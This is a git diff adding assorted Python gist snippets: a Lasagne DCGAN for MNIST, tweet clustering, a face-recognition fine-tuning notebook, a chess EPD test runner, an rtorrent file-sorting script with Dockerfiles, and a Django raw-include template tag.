+        self.filter_size = lasagne.utils.as_tuple(filter_size, 2, int)
+        self.stride = lasagne.utils.as_tuple(stride, 2, int)
+        self.pad = lasagne.utils.as_tuple(pad, 2, int)
+        self.W = self.add_param(lasagne.init.Orthogonal(),
+                (self.input_shape[1], num_filters) + self.filter_size,
+                name='W')
+        self.b = self.add_param(lasagne.init.Constant(0),
+                (num_filters,),
+                name='b')
+        if nonlinearity is None:
+            nonlinearity = lasagne.nonlinearities.identity
+        self.nonlinearity = nonlinearity
+
+    def get_output_shape_for(self, input_shape):
+        shape = tuple(i*s - 2*p + f - 1
+                for i, s, p, f in zip(input_shape[2:],
+                                      self.stride,
+                                      self.pad,
+                                      self.filter_size))
+        return (input_shape[0], self.num_filters) + shape
+
+    def get_output_for(self, input, **kwargs):
+        op = T.nnet.abstract_conv.AbstractConv2d_gradInputs(
+            imshp=self.output_shape,
+            kshp=(self.input_shape[1], self.num_filters) + self.filter_size,
+            subsample=self.stride, border_mode=self.pad)
+        conved = op(self.W, input, self.output_shape[2:])
+        if self.b is not None:
+            conved += self.b.dimshuffle('x', 0, 'x', 'x')
+        return self.nonlinearity(conved)
+
+def build_generator(input_var=None):
+    from lasagne.layers import InputLayer, ReshapeLayer, DenseLayer, batch_norm
+    from lasagne.nonlinearities import sigmoid
+    # input: 100dim
+    layer = InputLayer(shape=(None, 100), input_var=input_var)
+    # fully-connected layer
+    layer = batch_norm(DenseLayer(layer, 1024))
+    # project and reshape
+    layer = batch_norm(DenseLayer(layer, 128*7*7))
+    layer = ReshapeLayer(layer, ([0], 128, 7, 7))
+    # two fractional-stride convolutions
+    layer = batch_norm(Deconv2DLayer(layer, 64, 5, stride=2, pad=2))
+    layer = Deconv2DLayer(layer, 1, 5, stride=2, pad=2,
+                          nonlinearity=sigmoid)
+    print ("Generator output:", layer.output_shape)
+    return layer
+
+def build_discriminator(input_var=None):
+    from lasagne.layers import (InputLayer, Conv2DLayer, ReshapeLayer,
+                                DenseLayer, batch_norm)
+    from lasagne.layers.dnn import Conv2DDNNLayer as Conv2DLayer  # override
+    from lasagne.nonlinearities import LeakyRectify, sigmoid
+    lrelu = LeakyRectify(0.2)
+    # input: (None, 1, 28, 28)
+    layer = InputLayer(shape=(None, 1, 28, 28), input_var=input_var)
+    # two convolutions
+    layer = batch_norm(Conv2DLayer(layer, 64, 5, stride=2, pad=2, nonlinearity=lrelu))
+    layer = batch_norm(Conv2DLayer(layer, 128, 5, stride=2, pad=2, nonlinearity=lrelu))
+    # fully-connected layer
+    layer = batch_norm(DenseLayer(layer, 1024, nonlinearity=lrelu))
+    # output layer
+    layer = DenseLayer(layer, 1, nonlinearity=sigmoid)
+    print ("Discriminator output:", layer.output_shape)
+    return layer
+    
+
+# ############################# Batch iterator ###############################
+# This is just a simple helper function iterating over training data in
+# mini-batches of a particular size, optionally in random order. It assumes
+# data is available as numpy arrays. For big datasets, you could load numpy
+# arrays as memory-mapped files (np.load(..., mmap_mode='r')), or write your
+# own custom data iteration function. For small datasets, you can also copy
+# them to GPU at once for slightly improved performance. This would involve
+# several changes in the main program, though, and is not demonstrated here.
+
+def iterate_minibatches(inputs, targets, batchsize, shuffle=False):
+    assert len(inputs) == len(targets)
+    if shuffle:
+        indices = np.arange(len(inputs))
+        np.random.shuffle(indices)
+    for start_idx in range(0, len(inputs) - batchsize + 1, batchsize):
+        if shuffle:
+            excerpt = indices[start_idx:start_idx + batchsize]
+        else:
+            excerpt = slice(start_idx, start_idx + batchsize)
+        yield inputs[excerpt], targets[excerpt]
+
+
+# ############################## Main program ################################
+# Everything else will be handled in our main program now. We could pull out
+# more functions to better separate the code, but it wouldn't make it any
+# easier to read.
+
+def main(num_epochs=200, initial_eta=2e-4):
+    # Load the dataset
+    print("Loading data...")
+    X_train, y_train, X_val, y_val, X_test, y_test = load_dataset()
+
+    # Prepare Theano variables for inputs and targets
+    noise_var = T.matrix('noise')
+    input_var = T.tensor4('inputs')
+#    target_var = T.ivector('targets')
+
+    # Create neural network model
+    print("Building model and compiling functions...")
+    generator = build_generator(noise_var)
+    discriminator = build_discriminator(input_var)
+
+    # Create expression for passing real data through the discriminator
+    real_out = lasagne.layers.get_output(discriminator)
+    # Create expression for passing fake data through the discriminator
+    fake_out = lasagne.layers.get_output(discriminator,
+            lasagne.layers.get_output(generator))
+    
+    # Create loss expressions
+    generator_loss = lasagne.objectives.binary_crossentropy(fake_out, 1).mean()
+    discriminator_loss = (lasagne.objectives.binary_crossentropy(real_out, 1)
+            + lasagne.objectives.binary_crossentropy(fake_out, 0)).mean()
+    
+    # Create update expressions for training
+    generator_params = lasagne.layers.get_all_params(generator, trainable=True)
+    discriminator_params = lasagne.layers.get_all_params(discriminator, trainable=True)
+    eta = theano.shared(lasagne.utils.floatX(initial_eta))
+    updates = lasagne.updates.adam(
+            generator_loss, generator_params, learning_rate=eta, beta1=0.5)
+    updates.update(lasagne.updates.adam(
+            discriminator_loss, discriminator_params, learning_rate=eta, beta1=0.5))
+
+    # Compile a function performing a training step on a mini-batch (by giving
+    # the updates dictionary) and returning the corresponding training loss:
+    train_fn = theano.function([noise_var, input_var],
+                               [(real_out > .5).mean(),
+                                (fake_out < .5).mean()],
+                               updates=updates)
+
+    # Compile another function generating some data
+    gen_fn = theano.function([noise_var],
+                             lasagne.layers.get_output(generator,
+                                                       deterministic=True))
+
+    # Finally, launch the training loop.
+    print("Starting training...")
+    # We iterate over epochs:
+    for epoch in range(num_epochs):
+        # In each epoch, we do a full pass over the training data:
+        train_err = 0
+        train_batches = 0
+        start_time = time.time()
+        for batch in iterate_minibatches(X_train, y_train, 128, shuffle=True):
+            inputs, targets = batch
+            noise = lasagne.utils.floatX(np.random.rand(len(inputs), 100))
+            train_err += np.array(train_fn(noise, inputs))
+            train_batches += 1
+
+        # Then we print the results for this epoch:
+        print("Epoch {} of {} took {:.3f}s".format(
+            epoch + 1, num_epochs, time.time() - start_time))
+        print("  training loss:\t\t{}".format(train_err / train_batches))
+
+        # And finally, we plot some generated data
+        samples = gen_fn(lasagne.utils.floatX(np.random.rand(42, 100)))
+        try:
+            import matplotlib.pyplot as plt
+        except ImportError:
+            pass
+        else:
+            plt.imsave('mnist_samples.png',
+                       (samples.reshape(6, 7, 28, 28)
+                               .transpose(0, 2, 1, 3)
+                               .reshape(6*28, 7*28)),
+                       cmap='gray')
+
+        # After half the epochs, we start decaying the learn rate towards zero
+        if epoch >= num_epochs // 2:
+            progress = float(epoch) / num_epochs
+            eta.set_value(lasagne.utils.floatX(initial_eta*2*(1 - progress)))
+
+    # Optionally, you could now dump the network weights to a file like this:
+    np.savez('mnist_gen.npz', *lasagne.layers.get_all_param_values(generator))
+    np.savez('mnist_disc.npz', *lasagne.layers.get_all_param_values(discriminator))
+    #
+    # And load them again later on like this:
+    # with np.load('model.npz') as f:
+    #     param_values = [f['arr_%d' % i] for i in range(len(f.files))]
+    # lasagne.layers.set_all_param_values(network, param_values)
+
+
+if __name__ == '__main__':
+    if ('--help' in sys.argv) or ('-h' in sys.argv):
+        print("Trains a DCGAN on MNIST using Lasagne.")
+        print("Usage: %s [EPOCHS]" % sys.argv[0])
+        print()
+        print("EPOCHS: number of training epochs to perform (default: 100)")
+    else:
+        kwargs = {}
+        if len(sys.argv) > 1:
+            kwargs['num_epochs'] = int(sys.argv[1])
+        main(**kwargs)
\ No newline at end of file
diff --git a/hard-gists/7398239/._snippet.py b/hard-gists/7398239/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/7398239/._snippet.py differ
diff --git a/hard-gists/7398239/snippet.py b/hard-gists/7398239/snippet.py
new file mode 100644
index 00000000..4de5e197
--- /dev/null
+++ b/hard-gists/7398239/snippet.py
@@ -0,0 +1,93 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+import csv
+import codecs
+import numpy as np
+import MeCab
+
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn.cluster import KMeans, MiniBatchKMeans
+from sklearn.decomposition import TruncatedSVD
+from sklearn.preprocessing import Normalizer
+
+FILENAME = 'tweets.csv'
+NUM_CLUSTERS = 1000
+LSA_DIM = 500
+MAX_DF = 0.8
+MAX_FEATURES = 10000
+MINIBATCH = True
+
+def get_tweets_from_csv(filename):
+    ret = csv.reader(open(filename))
+    tweets = [r[7].decode('utf-8') for r in ret]
+
+    for tweet in tweets[:]:
+        if u'@' in tweet:
+            tweets.remove(tweet)
+        if len(tweet) <= 3:
+            tweets.remove(tweet)
+    return tweets
+
+
+def analyzer(text):
+    ret = []
+    tagger = MeCab.Tagger('-Ochasen')
+    node = tagger.parseToNode(text.encode('utf-8'))
+    node = node.next
+    while node.next:
+        ret.append(node.feature.split(',')[-3].decode('utf-8'))
+        node = node.next
+
+    return ret
+
+
+def main(filename):
+    # load tweets
+    tweets = get_tweets_from_csv(filename)
+
+    # feature extraction
+    vectorizer = TfidfVectorizer(analyzer=analyzer, max_df=MAX_DF)
+    vectorizer.max_features = MAX_FEATURES
+    X = vectorizer.fit_transform(tweets)
+
+    # dimensionality reduction by LSA
+    lsa = TruncatedSVD(LSA_DIM)
+    X = lsa.fit_transform(X)
+    X = Normalizer(copy=False).fit_transform(X)
+
+    # clustering by KMeans
+    if MINIBATCH:
+        km = MiniBatchKMeans(n_clusters=NUM_CLUSTERS, init='k-means++', batch_size=1000, n_init=10, max_no_improvement=10, verbose=True)
+    else:
+        km = KMeans(n_clusters=NUM_CLUSTERS, init='k-means++', n_init=1, verbose=True)
+    km.fit(X)
+    labels = km.labels_
+
+    transformed = km.transform(X)
+    dists = np.zeros(labels.shape)
+    for i in range(len(labels)):
+        dists[i] = transformed[i, labels[i]]
+
+    # sort by distance
+    clusters = []
+    for i in range(NUM_CLUSTERS):
+        cluster = []
+        ii = np.where(labels==i)[0]
+        dd = dists[ii]
+        di = np.vstack([dd,ii]).transpose().tolist()
+        di.sort()
+        for d, j in di:
+            cluster.append(tweets[int(j)])
+        clusters.append(cluster)
+
+    return clusters
+
+
+if __name__ == '__main__':
+    clusters = main(FILENAME)
+    f = codecs.open('%s.txt' % FILENAME, 'w', 'utf-8')
+    for i,tweets in enumerate(clusters):
+        for tweet in tweets:
+            f.write('%d: %s\n' % (i, tweet.replace('/n', '')))
+    f.close()
\ No newline at end of file
diff --git a/hard-gists/73a523f0cdbc978c148d1cd9e9d5f0be/._snippet.py b/hard-gists/73a523f0cdbc978c148d1cd9e9d5f0be/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/73a523f0cdbc978c148d1cd9e9d5f0be/._snippet.py differ
diff --git a/hard-gists/73a523f0cdbc978c148d1cd9e9d5f0be/snippet.py b/hard-gists/73a523f0cdbc978c148d1cd9e9d5f0be/snippet.py
new file mode 100644
index 00000000..e20393e7
--- /dev/null
+++ b/hard-gists/73a523f0cdbc978c148d1cd9e9d5f0be/snippet.py
@@ -0,0 +1,204 @@
+
+# coding: utf-8
+
+# # 持续训练
+# 
+# 问题提出: 如果人脸识别在使用中发现准确率并不够高, 是否可以继续改进? 如何在已有的基础之上继续改进? 
+# 
+# 解决方法: 建立并联的判别神经网络, 将A人脸的128位编码和待测人脸的128位编码作为输入, 二值判别输出 
+# * 路径A: 计算二阶范数距离, 并以原题目中的阈值作为分界, 形成输出
+# * 路径B: 待训练神经网络, 早期时参数值都很小, 因此输出值也很小, 但可被训练. 
+# 
+# 路径A和路径B的加权平均作为最终输出. 
+
+# In[1]:
+
+
+from keras.models import Sequential
+from keras.layers import Conv2D, ZeroPadding2D, Activation, Input, concatenate, Add
+from keras.models import Model
+from keras.layers.normalization import BatchNormalization
+from keras.layers.pooling import MaxPooling2D, AveragePooling2D
+from keras.layers.merge import Concatenate
+from keras.layers.core import Lambda, Flatten, Dense
+from keras.initializers import glorot_uniform, RandomNormal
+from keras.engine.topology import Layer
+from keras import backend as K
+K.set_image_data_format('channels_first')
+import cv2
+import os
+import numpy as np
+from numpy import genfromtxt
+import pandas as pd
+import tensorflow as tf
+from fr_utils import *
+from inception_blocks_v2 import *
+
+get_ipython().magic('matplotlib inline')
+get_ipython().magic('load_ext autoreload')
+get_ipython().magic('autoreload 2')
+
+np.set_printoptions(threshold=np.nan)
+
+
+# In[2]:
+
+
+FRmodel = faceRecoModel(input_shape=(3, 96, 96))
+load_weights_from_FaceNet(FRmodel)
+
+
+# In[3]:
+
+
+database = {}
+database["danielle"] = img_to_encoding("images/danielle.png", FRmodel)
+database["younes"] = img_to_encoding("images/younes.jpg", FRmodel)
+database["tian"] = img_to_encoding("images/tian.jpg", FRmodel)
+database["andrew"] = img_to_encoding("images/andrew.jpg", FRmodel)
+database["kian"] = img_to_encoding("images/kian.jpg", FRmodel)
+database["dan"] = img_to_encoding("images/dan.jpg", FRmodel)
+database["sebastiano"] = img_to_encoding("images/sebastiano.jpg", FRmodel)
+database["bertrand"] = img_to_encoding("images/bertrand.jpg", FRmodel)
+database["kevin"] = img_to_encoding("images/kevin.jpg", FRmodel)
+database["felix"] = img_to_encoding("images/felix.jpg", FRmodel)
+database["benoit"] = img_to_encoding("images/benoit.jpg", FRmodel)
+database["arnaud"] = img_to_encoding("images/arnaud.jpg", FRmodel)
+
+
+# In[ ]:
+
+
+
+
+
+# # 代数计算路径
+# 
+# 距离使用norm 2范数进行计算. 输出根据阈值进行sigmoid. 
+
+# In[4]:
+
+
+test_face=img_to_encoding("images/camera_0.jpg", FRmodel)
+
+
+# In[11]:
+
+
+def dist_path(x1,x2,threshold):
+    d = tf.norm((x1-x2),axis=-1)
+    # output=1-Activation('sigmoid')(d-threshold)
+    output = 0.5 - (tf.sign(d-threshold))/2
+    return output
+
+
+# In[12]:
+
+
+test_face=img_to_encoding("images/camera_0.jpg", FRmodel)
+target_face= database["younes"]
+d0=np.linalg.norm((test_face-target_face),axis=-1,keepdims=False)[0]
+print(d0)
+tf.reset_default_graph()
+
+with tf.Session() as test:
+    np.random.seed(1)
+    faceA_codes = tf.placeholder("float", [1,128])
+    faceB_codes = tf.placeholder("float", [1,128])
+    A = dist_path(faceA_codes,faceB_codes,0.7)
+    test.run(tf.global_variables_initializer())
+    
+    out = test.run([A], 
+                   feed_dict={
+                       faceA_codes: test_face, 
+                       faceB_codes: target_face, 
+                       K.learning_phase(): 0})
+    print("out = " + str(out))
+
+
+# # 修正路径
+# 建立一个神经网络引入修正值, 后期可以通过调整修正路径中的参数对结果进行微调. 对于使用范围比较局限的场景, 例如公司员工的人脸识别, 需要泛化的要求较低, 即使修正路径发生了过拟合也可以接受. 
+# 
+# 为了初期不影响代数路径的结果, 修正路径的参数初始化可以使用均值为0的小量, 使得初始输出结果很小. 
+
+# In[18]:
+
+
+def tinker_path(x1,x2): 
+    X=tf.concat([x1,x2],axis=-1)
+#     X = Flatten()(X)
+    X = Dense(128, activation='relu', 
+              kernel_initializer = RandomNormal(mean=0.0, stddev=0.05, seed=None))(X)
+    X = Dense(128, activation='relu', 
+              kernel_initializer = RandomNormal(mean=0.0, stddev=0.05, seed=None))(X)
+    X = Dense(1, activation='tanh', 
+              kernel_initializer = RandomNormal(mean=0.0, stddev=0.05, seed=None))(X)
+    return X
+
+
+# In[19]:
+
+
+test_face=img_to_encoding("images/camera_0.jpg", FRmodel)
+target_face= database["younes"]
+d0=np.linalg.norm((test_face-target_face),axis=-1,keepdims=False)[0]
+print(d0)
+tf.reset_default_graph()
+
+with tf.Session() as test:
+    np.random.seed(1)
+    faceA_codes = tf.placeholder("float", [1,128])
+    faceB_codes = tf.placeholder("float", [1,128])
+    A = tinker_path(faceA_codes,faceB_codes)
+    test.run(tf.global_variables_initializer())
+    
+    out = test.run([A], 
+                   feed_dict={
+                       faceA_codes: test_face, 
+                       faceB_codes: target_face, 
+                       K.learning_phase(): 0})
+    print("out = " + str(out))
+
+
+# # 合并路径
+# 代数计算路径和神经网络路径的结果进行加权平均, 获得最终的结果
+
+# In[20]:
+
+
+def face_tinker(x1,x2,threshold,alpha):
+    paths=[dist_path(x1,x2,threshold), tinker_path(x1,x2)]
+    X=Add()([ a*path for (a,path) in zip(alpha,paths)])
+    return X
+
+
+# In[21]:
+
+
+test_face=img_to_encoding("images/camera_0.jpg", FRmodel)
+target_face= database["younes"]
+
+tf.reset_default_graph()
+
+with tf.Session() as test:
+    np.random.seed(1)
+    faceA_codes = tf.placeholder("float", [1,128])
+    faceB_codes = tf.placeholder("float", [1,128])
+    threshold = 0.7
+    alpha=[0.7,0.3]
+    A = face_tinker(faceA_codes,faceB_codes,threshold,alpha)
+    test.run(tf.global_variables_initializer())
+    
+    out = test.run([A], 
+                   feed_dict={
+                       faceA_codes: test_face, 
+#                        faceB_codes: database["felix"], 
+                       faceB_codes: target_face, 
+                       K.learning_phase(): 0})
+    print("out = " + str(out))
+
+
+# # 修正路径的训练
+# todo
+
+# In[ ]:
diff --git a/hard-gists/73c9565719d124af64ff/._snippet.py b/hard-gists/73c9565719d124af64ff/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/73c9565719d124af64ff/._snippet.py differ
diff --git a/hard-gists/73c9565719d124af64ff/snippet.py b/hard-gists/73c9565719d124af64ff/snippet.py
new file mode 100644
index 00000000..476f98d7
--- /dev/null
+++ b/hard-gists/73c9565719d124af64ff/snippet.py
@@ -0,0 +1,116 @@
+#!/usr/bin/python
+
+import chess
+import chess.uci
+import sys
+import time
+
+
+MOVETIME = 120.0
+
+
+def test_epd(engine, epd):
+    position = chess.Board()
+    epd_info = position.set_epd(epd)
+
+    engine.ucinewgame()
+    engine.position(position)
+
+    enginemove, pondermove = engine.go(movetime=MOVETIME * 1000)
+
+    if enginemove in epd_info["bm"]:
+        print "%s (expecting %s): +1" % (
+            epd_info["id"],
+            " or ".join(position.san(bm) for bm in epd_info["bm"]))
+        return 1.0
+    else:
+        print "%s (expecting %s): +0 (got %s)" % (
+            epd_info["id"],
+            " or ".join(position.san(bm) for bm in epd_info["bm"]),
+            position.san(enginemove))
+        return 0.0
+
+
+def test_epd_with_fractional_scores(engine, epd):
+    info_handler = chess.uci.InfoHandler()
+    engine.info_handlers.append(info_handler)
+
+    position = chess.Board()
+    epd_info = position.set_epd(epd)
+
+    engine.ucinewgame()
+    engine.position(position)
+
+    # Search in background
+    search = engine.go(infinite=True, async_callback=True)
+
+    score = 0.0
+
+    print "%s (expecting %s):" % (
+        epd_info["id"],
+        " or ".join(position.san(bm) for bm in epd_info["bm"])),
+
+    for step in range(0, 3):
+        time.sleep(MOVETIME / 4)
+
+        # Assess the current principal variation.
+        with info_handler as info:
+            if 1 in info["pv"] and len(info["pv"][1]) >= 1:
+                if info["pv"][1][0] in epd_info["bm"]:
+                    score = 1.0 / (4 - step)
+                print "(%s)" % position.san(info["pv"][1][0]),
+            else:
+                print "(no pv)",
+
+    # Assess the final best move by the engine.
+    time.sleep(MOVETIME / 4)
+    engine.stop()
+    enginemove, pondermove = search.result()
+    if enginemove in epd_info["bm"]:
+        score = 1.0
+
+    print "%s | +%g" % (position.san(enginemove), score)
+
+    engine.info_handlers.remove(info_handler)
+    return score
+
+
+if __name__ == "__main__":
+    engine = chess.uci.popen_engine(sys.argv[1])
+    engine.uci()
+
+    epds = """\
+1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - bm Qd1+; id "BK.01";
+3r1k2/4npp1/1ppr3p/p6P/P2PPPP1/1NR5/5K2/2R5 w - - bm d5; id "BK.02";
+2q1rr1k/3bbnnp/p2p1pp1/2pPp3/PpP1P1P1/1P2BNNP/2BQ1PRK/7R b - - bm f5; id "BK.03";
+rnbqkb1r/p3pppp/1p6/2ppP3/3N4/2P5/PPP1QPPP/R1B1KB1R w KQkq - bm e6; id "BK.04";
+r1b2rk1/2q1b1pp/p2ppn2/1p6/3QP3/1BN1B3/PPP3PP/R4RK1 w - - bm Nd5 a4; id "BK.05";
+2r3k1/pppR1pp1/4p3/4P1P1/5P2/1P4K1/P1P5/8 w - - bm g6; id "BK.06";
+1nk1r1r1/pp2n1pp/4p3/q2pPp1N/b1pP1P2/B1P2R2/2P1B1PP/R2Q2K1 w - - bm Nf6; id "BK.07";
+4b3/p3kp2/6p1/3pP2p/2pP1P2/4K1P1/P3N2P/8 w - - bm f5; id "BK.08";
+2kr1bnr/pbpq4/2n1pp2/3p3p/3P1P1B/2N2N1Q/PPP3PP/2KR1B1R w - - bm f5; id "BK.09";
+3rr1k1/pp3pp1/1qn2np1/8/3p4/PP1R1P2/2P1NQPP/R1B3K1 b - - bm Ne5; id "BK.10";
+2r1nrk1/p2q1ppp/bp1p4/n1pPp3/P1P1P3/2PBB1N1/4QPPP/R4RK1 w - - bm f4; id "BK.11";
+r3r1k1/ppqb1ppp/8/4p1NQ/8/2P5/PP3PPP/R3R1K1 b - - bm Bf5; id "BK.12";
+r2q1rk1/4bppp/p2p4/2pP4/3pP3/3Q4/PP1B1PPP/R3R1K1 w - - bm b4; id "BK.13";
+rnb2r1k/pp2p2p/2pp2p1/q2P1p2/8/1Pb2NP1/PB2PPBP/R2Q1RK1 w - - bm Qd2 Qe1; id "BK.14";
+2r3k1/1p2q1pp/2b1pr2/p1pp4/6Q1/1P1PP1R1/P1PN2PP/5RK1 w - - bm Qxg7+; id "BK.15";
+r1bqkb1r/4npp1/p1p4p/1p1pP1B1/8/1B6/PPPN1PPP/R2Q1RK1 w kq - bm Ne4; id "BK.16";
+r2q1rk1/1ppnbppp/p2p1nb1/3Pp3/2P1P1P1/2N2N1P/PPB1QP2/R1B2RK1 b - - bm h5; id "BK.17";
+r1bq1rk1/pp2ppbp/2np2p1/2n5/P3PP2/N1P2N2/1PB3PP/R1B1QRK1 b - - bm Nb3; id "BK.18";
+3rr3/2pq2pk/p2p1pnp/8/2QBPP2/1P6/P5PP/4RRK1 b - - bm Rxe4; id "BK.19";
+r4k2/pb2bp1r/1p1qp2p/3pNp2/3P1P2/2N3P1/PPP1Q2P/2KRR3 w - - bm g4; id "BK.20";
+3rn2k/ppb2rpp/2ppqp2/5N2/2P1P3/1P5Q/PB3PPP/3RR1K1 w - - bm Nh6; id "BK.21";
+2r2rk1/1bqnbpp1/1p1ppn1p/pP6/N1P1P3/P2B1N1P/1B2QPP1/R2R2K1 b - - bm Bxe4; id "BK.22";
+r1bqk2r/pp2bppp/2p5/3pP3/P2Q1P2/2N1B3/1PP3PP/R4RK1 b kq - bm f6; id "BK.23";
+r2qnrnk/p2b2b1/1p1p2pp/2pPpp2/1PP1P3/PRNBB3/3QNPPP/5RK1 w - - bm f4; id "BK.24";"""
+
+    score = 0.0
+
+    for epd in epds.split("\n"):
+        score += test_epd_with_fractional_scores(engine, epd)
+
+    engine.quit()
+
+    print "-------------------------------"
+    print "%g / 24" % score
diff --git a/hard-gists/73efaccda6025883fc66/._snippet.py b/hard-gists/73efaccda6025883fc66/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/73efaccda6025883fc66/._snippet.py differ
diff --git a/hard-gists/73efaccda6025883fc66/Dockerfile-llm-2.7 b/hard-gists/73efaccda6025883fc66/Dockerfile-llm-2.7
new file mode 100644
index 00000000..fd334807
--- /dev/null
+++ b/hard-gists/73efaccda6025883fc66/Dockerfile-llm-2.7
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","xmlrpclib==2.9.6"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","pyyaml==5.4b2"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/73efaccda6025883fc66/Dockerfile-llm-3.8 b/hard-gists/73efaccda6025883fc66/Dockerfile-llm-3.8
new file mode 100644
index 00000000..ead32873
--- /dev/null
+++ b/hard-gists/73efaccda6025883fc66/Dockerfile-llm-3.8
@@ -0,0 +1,11 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","xmlrpclib==2.7.12"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/73efaccda6025883fc66/modules/pyyaml_2.7.txt b/hard-gists/73efaccda6025883fc66/modules/pyyaml_2.7.txt
new file mode 100644
index 00000000..a0a3fb43
--- /dev/null
+++ b/hard-gists/73efaccda6025883fc66/modules/pyyaml_2.7.txt
@@ -0,0 +1 @@
+3.10, 3.11, 3.12, 3.13, 3.13b1, 3.13rc1, 4.2b1, 4.2b2, 4.2b4, 5.1, 5.1.1, 5.1.2, 5.1b1, 5.1b3, 5.1b5, 5.1b7, 5.2, 5.2b1, 5.3, 5.3.1, 5.3b1, 5.4, 5.4.1, 5.4b1, 5.4b2
\ No newline at end of file
diff --git a/hard-gists/73efaccda6025883fc66/modules/xmlrpclib_2.7.txt b/hard-gists/73efaccda6025883fc66/modules/xmlrpclib_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/73efaccda6025883fc66/modules/xmlrpclib_3.8.txt b/hard-gists/73efaccda6025883fc66/modules/xmlrpclib_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/73efaccda6025883fc66/snippet.py b/hard-gists/73efaccda6025883fc66/snippet.py
new file mode 100644
index 00000000..ce02bad9
--- /dev/null
+++ b/hard-gists/73efaccda6025883fc66/snippet.py
@@ -0,0 +1,93 @@
+#!/usr/bin/env python
+
+# in rtorrent.rc:
+# method.set_key = event.download.finished,sort_finished,"execute={~/scripts/sort.py,$d.get_hash=}"
+
+import xmlrpclib, os, sys, re, shutil, yaml
+
+log_filepath = os.path.expanduser('~/pysort.log')
+log_file = open(log_filepath, "w")
+
+sys.stdout = log_file
+
+def htc(m):
+    return chr(int(m.group(1), 16))
+
+
+def urldecode(url):
+    rex = re.compile('%([0-9a-hA-H][0-9a-hA-H])', re.M)
+    return rex.sub(htc, url)
+
+
+print '=== BEGIN ==='
+
+# Load config file
+with file("/home/dan/scripts/config.yml", "r") as stream:
+    config = yaml.load(stream)
+
+# Set base location
+base_location = config['base_location']
+
+# Add default location at score of 30
+matches = [[config['default'], 30]]
+
+# Find hash from input
+rid = sys.argv[1]
+print '     Hash: %s' % rid
+
+# rtorrent xmlrpc
+rtorrent = xmlrpclib.ServerProxy('http://127.0.0.1/RPC2')
+
+#load torrent info
+label = urldecode(rtorrent.d.get_custom1(rid))
+base_path = rtorrent.d.get_base_path(rid)
+
+# sanity check to make sure torrent actually exists
+if not os.path.exists(base_path):
+    print '%s: Base path doesn\'t exist, quitting' % base_path
+    exit()
+
+# outputting some information
+(start_dir, start_name) = os.path.split(base_path)
+print 'File name: %s' % start_name
+print ' File dir: %s' % start_dir
+print '    Label: %s' % label
+
+# determine match based on label name
+if len(label) != 0:
+    matches.append([label.lower().replace(" ", "_"), config['label_score']])
+
+# determine a match based on tracker
+trackers = rtorrent.t.multicall(rid, '', 't.get_url=')
+find_trackers = re.compile('^https?://(\w+\.)*(\w+\.\w+)(:\d+)?/').search(trackers[0][0])
+if find_trackers:
+    tracker = find_trackers.group(2)
+    print '  Tracker: %s' % tracker
+    if tracker in config['trackers']:
+        matches.append(config['trackers'][tracker])
+
+print '  Matches: %s' % matches
+
+# test matches in order of score
+for match in sorted(matches, key=lambda m: m[1], reverse=True):
+    final_dir = os.path.join(base_location, match[0])
+    if os.path.exists(final_dir):
+        break
+
+final_path = os.path.join(final_dir, start_name)
+print '  Move to: %s' % (final_dir)
+
+# some checks based on computer path
+if base_path == final_path:
+    print '%s: File is already at target location' % start_name
+    exit()
+if os.path.exists(final_path):
+    print '%s: Another file already exists at target location' % start_name
+    exit()
+
+# move torrent to new location and inform rtorrent
+print 'Moving and telling rtorrent to move %s to %s' % (rid, final_dir)
+rtorrent.d.set_directory(rid, final_dir)
+shutil.move(base_path, final_dir)
+rtorrent.d.resume(rid)
+log_file.close()
diff --git a/hard-gists/742160/._snippet.py b/hard-gists/742160/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/742160/._snippet.py differ
diff --git a/hard-gists/742160/snippet.py b/hard-gists/742160/snippet.py
new file mode 100644
index 00000000..5287ff66
--- /dev/null
+++ b/hard-gists/742160/snippet.py
@@ -0,0 +1,56 @@
+"""
+Straight Include template tag by @HenrikJoreteg
+
+Django templates don't give us any way to escape template tags.
+
+So if you ever need to include client side templates for ICanHaz.js (or anything else that
+may confuse django's templating engine) You can is this little snippet.
+
+Just use it as you would a normal {% include %} tag. It just won't process the included text.
+
+It assumes your included templates are in you django templates directory.
+
+Usage:
+
+{% load straight_include %}
+
+{% straight_include "my_icanhaz_templates.html" %}
+
+"""
+
+from django import template
+from django.conf import settings
+
+
+register = template.Library()
+
+
+class StraightIncludeNode(template.Node):
+    def __init__(self, template_path):
+        self.filepath = '%s/%s' % (settings.TEMPLATE_DIRS[0], template_path)
+
+    def render(self, context):
+        fp = open(self.filepath, 'r')
+        output = fp.read()
+        fp.close()
+        return output
+
+
+def do_straight_include(parser, token):
+    """
+    Loads a template and includes it without processing it
+    
+    Example::
+    
+    {% straight_include "foo/some_include" %}
+    
+    """
+    bits = token.split_contents()
+    if len(bits) != 2:
+        raise template.TemplateSyntaxError("%r tag takes one argument: the location of the file within the template folder" % bits[0])
+    path = bits[1][1:-1]
+    
+    return StraightIncludeNode(path)
+
+
+register.tag("straight_include", do_straight_include)
